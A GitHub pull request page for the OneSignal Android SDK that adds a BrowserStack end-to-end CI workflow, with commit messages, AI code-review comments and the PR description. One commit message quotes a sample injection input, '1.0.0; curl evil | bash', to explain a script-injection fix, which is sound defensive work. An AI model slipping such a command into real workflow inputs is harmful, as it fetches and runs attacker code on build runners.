ci: [SDK-4690] add Android E2E workflow#2652
Conversation
📊 Diff Coverage Report✓ Coverage check passed (no source files changed) |
![claude[bot]](https://avatars.githubusercontent.com/in/1236702?s=60&v=4){kind=small}
fadi-george
force-pushed
the
fadi/sdk-4690
branch
2 times, most recently
from
0755237 to
0d6ff30
Compare
Nothing in examples/demo/app/build.gradle.kts reads ONESIGNAL_API_KEY (only ONESIGNAL_APP_ID and ONESIGNAL_ANDROID_CHANNEL_ID go through demoOverride), and the shared appium-e2e workflow already obtains the key directly via secrets: inherit. Writing it to local.properties was dead plumbing that also forced every caller to supply an unused secret. Addresses PR #2652 review comment. Co-authored-by: Cursor <cursoragent@cursor.com>
|
@claude review |
There was a problem hiding this comment.
LGTM — the previous concern is resolved; the remaining nits are cosmetic in demo code.
Extended reasoning...
Overview
This PR adds an Android E2E GitHub Actions workflow (e2e.yml) and a composite setup action (setup-demo/action.yml) so the native Android SDK can run the shared OneSignal/sdk-shared Appium suite on BrowserStack, matching the Capacitor/Flutter/React Native wrappers. It also includes a demo-app refactor that moves snackbar ownership from the ViewModel into the UI layer (SnackbarController + CompositionLocalProvider) and inlines dialog state into each section composable. Plus markdown updates to examples/build.md documenting the new contract.
Security risks
None material. The earlier review flagged a required REST-API-key input that was written to disk but never consumed — that has been removed in f90caad. The remaining CI plumbing only writes ONESIGNAL_APP_ID (a public identifier) and a hard-coded channel id to local.properties. Secrets for the BrowserStack/Appium suite flow through secrets: inherit to the reusable workflow, not through this repo's build.
Level of scrutiny
Low-to-moderate. No production SDK code is touched — this is CI plumbing plus demo-app refactoring. The workflow follows the established Capacitor pattern, the author validated it with actionlint, and the reusable downstream workflow contract is unchanged. The demo refactor moves logic between layers but preserves the observable behavior (snackbar still fires for outcomes/custom events/location-check; everything else logs).
Other factors
The two remaining inline comments are both nits. The missing Log.i calls in loginUser/logoutUser are a consistency miss against the new build.md rule but don't break any test or user-facing flow (the Repository still emits a DEBUG line, and login state is still reflected in the UI). The orphaned imports in Sections.kt are warnings-not-errors. Neither is worth blocking a CI-plumbing PR over; the author can pick them up if useful, and the inline comments already make them visible.
Update examples/build.md so the snackbar/logging contract no longer implies loginUser/logoutUser must emit Log.i. Those actions stay silent (no snackbar, no log); auth state is reflected in the User section UI, matching the other wrapper demos. Addresses PR #2652 review comment. Co-authored-by: Cursor <cursoragent@cursor.com>
fadi-george
force-pushed
the
fadi/sdk-4690
branch
from
56677ae to
f84477a
Compare
Two defensive fixes for the E2E workflow:
- Move the resolved SDK version into env: on the Build step and reference
$SDK_VERSION inside the run block, instead of templating
${{ steps... }} directly into the shell. The version output is derived
from the workflow_dispatch sdk-version input and is written verbatim
to $GITHUB_OUTPUT, so direct interpolation would let an input like
"1.0.0; curl evil | bash" be substituted into the script before bash
parses it. https://docs.github.com/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions
- Add a Validate APPIUM_ONESIGNAL_APP_ID step that fails fast when the
org/repo variable is unset. An undefined vars.* expression evaluates
to "" in Actions, and the composite action's required: true only
validates that the with: key was supplied. Without this guard the
demo's demoOverride() collapses the empty value to null and the
build falls through to the hardcoded default app ID, exercising the
wrong OneSignal project on BrowserStack with a green result.
Addresses PR #2652 review comments.
Co-authored-by: Cursor <cursoragent@cursor.com>
Remove imports left over after the IamActionButton removal and testTag-as-Modifier-extension cleanup. Every remaining testTag in the file is a named String parameter on PrimaryButton/SectionCard/ToggleRow etc., so the Modifier.testTag(...) import is unused. Same for the eight layout/material3 imports flagged earlier (already removed in this sweep). Kotlin only warns on unused imports, but cleaner to drop them. Addresses PR #2652 review comment. Co-authored-by: Cursor <cursoragent@cursor.com>
Remove imports left over after the IamActionButton removal and testTag-as-Modifier-extension cleanup. Every remaining testTag in the file is a named String parameter on PrimaryButton/SectionCard/ToggleRow etc., so the Modifier.testTag(...) import is unused. Same for the eight layout/material3 imports flagged earlier (already removed in this sweep). Kotlin only warns on unused imports, but cleaner to drop them. Addresses PR #2652 review comment. Co-authored-by: Cursor <cursoragent@cursor.com>
fadi-george
force-pushed
the
fadi/sdk-4690
branch
from
3079425 to
c3c00b4
Compare
- IUserJwtInvalidatedListener uses Log.w (the right level for an invalidation warning), not Log.i. Update the doc to match MainViewModel.onUserJwtInvalidated. - The main_scroll_view tag is on a Column + verticalScroll, not a LazyColumn. Update the doc to match MainScreen.kt. Addresses PR #2652 review comment. Co-authored-by: Cursor <cursoragent@cursor.com>
The hashFiles glob '*.gradle*' requires a literal '.gradle' substring and so does not match 'gradle.properties' (which has 'gradle.' but not '.gradle'). Edits to examples/demo/gradle.properties therefore resolve to the same cache key as the prior contents. No build-correctness impact today since ~/.gradle/caches is content- addressed and the current properties only set JVM/AGP options, but adding a dependency-relevant property later would silently keep restoring a stale cache. List gradle.properties explicitly to track it. Addresses PR #2652 review comment. Co-authored-by: Cursor <cursoragent@cursor.com>
There was a problem hiding this comment.
All prior findings have been addressed across follow-up commits, and this round's bug hunter found nothing new — CI-only + demo refactor with no production SDK code touched.
Extended reasoning...
Overview
This PR adds a new Android E2E GitHub Actions workflow (.github/workflows/e2e.yml) and a composite setup action (.github/actions/setup-demo/action.yml) that builds the demo APK and delegates to the shared OneSignal/sdk-shared Appium workflow on BrowserStack. The remaining diff is a UI-layer refactor of the demo app (snackbar ownership moved from MainViewModel to a SnackbarController via CompositionLocal, dialog state moved from MainScreen into individual section composables) plus matching doc/string updates. No production SDK code is touched.
Security risks
The security-relevant surface was the workflow_dispatch.sdk-version input. The original Build step interpolated ${{ steps.android-sdk-version.outputs.version }} directly into a run: block — a classic script-injection sink. The author fixed this in 6372a86 by routing the value through env: SDK_VERSION so it lands as a literal shell variable rather than template-substituted text. The same commit added a non-empty guard on vars.APPIUM_ONESIGNAL_APP_ID to prevent silent fallback to the hardcoded demo App ID. A previously-required but unused onesignal-api-key input was also dropped in f90caad so a REST API key is no longer materialized to runner disk for no consumer. The workflow runs with permissions: contents: read, only triggers on rel/** pushes and workflow_dispatch (write access required), and defers BrowserStack/Appium secrets to the reusable workflow via secrets: inherit.
Level of scrutiny
CI plumbing plus demo/test-harness refactor — not the SDK itself. The workflow now correctly sandboxes the only user-controlled input, validates the App ID variable, and tracks gradle.properties in the cache key. The demo refactor is internally consistent (CompositionLocal-based snackbar, per-section dialog ownership) and the author confirmed the snackbar-fires-before-SDK-completion behavior is a known limitation pending awaitable SDK callbacks — explicitly called out by another reviewer and acknowledged. Documentation in examples/build.md was kept in sync with the actual code (Log.w for JWT invalidation, Column + verticalScroll for main_scroll_view).
Other factors
The author addressed every finding I posted in prior rounds with targeted commits and good rationale, including the intentional silent login/logout flow (no snackbar, no Log.i) which is now documented in examples/build.md. Bug hunter found no new issues this round. Given the non-production scope, the responsiveness to feedback, and the security fixes already landed, this is comfortable to shadow-approve.
2 participants
Description
One Line Summary
Add an Android E2E GitHub Actions workflow that builds the demo APK and runs the shared Appium suite on BrowserStack, mirroring the Capacitor SDK setup.
Details
Motivation
The Capacitor, Flutter, and React Native wrappers already run the shared
OneSignal/sdk-sharedAppium suite on each release, but the native Android SDK had no equivalent. Without it there is no automated end-to-end signal that a freshly publishedcom.onesignal:OneSignalartifact actually boots, registers a subscription, and exercises the Red App flows on a real device. This PR fills that gap so every release branch can produce a BrowserStack run alongside the Capacitor and other wrapper runs.Scope
.github/workflows/e2e.yml, which triggers on pushes torel/**and onworkflow_dispatch(with an optionalsdk-versioninput). It resolves the SDK version fromOneSignalSDK/gradle.properties, callsOneSignal/sdk-shared/.github/actions/wait-for-maven-artifact@mainso we do not race the Maven publish, builds:app:assembleGmsDebugfromexamples/demo/with-PSDK_VERSION=..., uploadsapp-gms-debug.apkasdemo-apk, and then delegates toOneSignal/sdk-shared/.github/workflows/appium-e2e.yml@mainwithsdk-type: android..github/actions/setup-demo/action.yml, a composite action that installs Java 17 + the Android cmdline-tools, caches Gradle, and writesexamples/demo/local.propertieswith the OneSignal App ID, API key, and theONESIGNAL_ANDROID_CHANNEL_IDused by the shared Appium suite. This is the Android counterpart to the Capacitorsetup-demoaction, withlocal.propertiestaking the place of Capacitor's.env.ci.yml,publish-release.yml, andcreate-release-pr.ymlare untouched.OPTIONAL - Other
A few Android-specific deviations from the Capacitor template are worth calling out:
build-androidjob (no iOS matrix) since this repo only ships Android.gmsflavor and thedebugbuild type, because BrowserStack devices all run Google Play Services andisDebuggable=trueis what Appium's UiAutomator2 driver needs to attach. The current demobuild.gradle.ktsdoes not configure ABI splits, so the unqualifiedapp-gms-debug.apkis the correct artifact name.rel/**works the same way it does on Capacitor, but on this repo the rel branch bumps to an unpublished version, sowait-for-maven-artifactwill keep polling (up to ~50 minutes) untilpublish-release.ymlcompletes. If you would rather run the workflow strictly after a Maven publish, theworkflow_dispatchtrigger with the optionalsdk-versioninput is the manual escape hatch.Testing
Unit testing
N/A. Pure CI/workflow change.
Manual testing
.github/workflows/e2e.ymlwithactionlint 1.7.12(no findings)..github/actions/setup-demo/action.ymlagainst the GitHub composite-action schema (action.yml files are not workflow files, so actionlint's workflow-schema errors there are expected and not a real issue).e2e.ymland againstOneSignal/sdk-shared/.github/workflows/appium-e2e.yml@mainto confirm the input contract (platform,app-artifact,app-filename,sdk-type,build-name) matches and thatsecrets: inheritcovers the BrowserStack and Appium OneSignal secrets the shared workflow expects.examples/demo/app/build/outputs/apk/gms/debug/app-gms-debug.apkmatches AGP's default output for thegmsflavor +debugbuild type given the currentexamples/demo/app/build.gradle.kts(no ABI splits, no APK rename).Affected code checklist
(No production SDK surfaces are touched; this PR only adds CI plumbing.)
Checklist
Overview
Testing
Final pass
Made with Cursor